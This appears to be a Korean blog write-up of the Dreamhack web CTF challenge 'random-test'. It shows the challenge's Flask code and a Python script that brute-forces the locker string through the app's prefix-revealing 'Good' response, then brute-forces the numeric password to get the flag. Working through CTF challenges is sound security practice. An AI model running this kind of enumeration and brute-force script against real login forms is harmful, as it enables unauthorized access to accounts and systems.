문제풀이/웹해킹

[dreamhack] random-test 문제풀이

Goblebin 2024. 5. 1. 16:09
반응형

아래는 문제 코드이다.

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import random

app = Flask(__name__)

try:
    FLAG = open("./flag.txt", "r").read()       # flag is here!
except:
    FLAG = "[**FLAG**]"


rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
    rand_str += str(random.choice(alphanumeric))

rand_num = random.randint(100, 200)


@app.route("/", methods = ["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        locker_num = request.form.get("locker_num", "")
        password = request.form.get("password", "")

        if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template("index.html", result = "FLAG:" + FLAG)
            return render_template("index.html", result = "Good")
        else: 
            return render_template("index.html", result = "Wrong!")
            
            
app.run(host="0.0.0.0", port=8000)

 

index 페이지를 보면 locker_num과 password 변수를 받는다. (POST 방식으로 넘긴다.)

그리고, 아래의 조건문을 모두 만족하면 FLAG를 출력하는 간단한 문제다.

 

아래는 문제 풀이에 사용한 코드이다.

import requests, json
import string
import random

result = ''
alphanumeric = string.ascii_lowercase + string.digits

for i in range(4):
    for a in alphanumeric:
        data = { 'locker_num' : result + a,
                 'password' : 100}
        print(result)
        res = requests.post('http://host3.dreamhack.games:14098', data=data)
        if "Good" in res.text :
            result = result + a
            print(result)

for f in range(100,201) :
    data = { 'locker_num' : result,
             'password' : f}
    res = requests.post('http://host3.dreamhack.games:14098', data=data)
    print(f)
    if "FLAG" in res.text :
        print(res.text)

 

반응형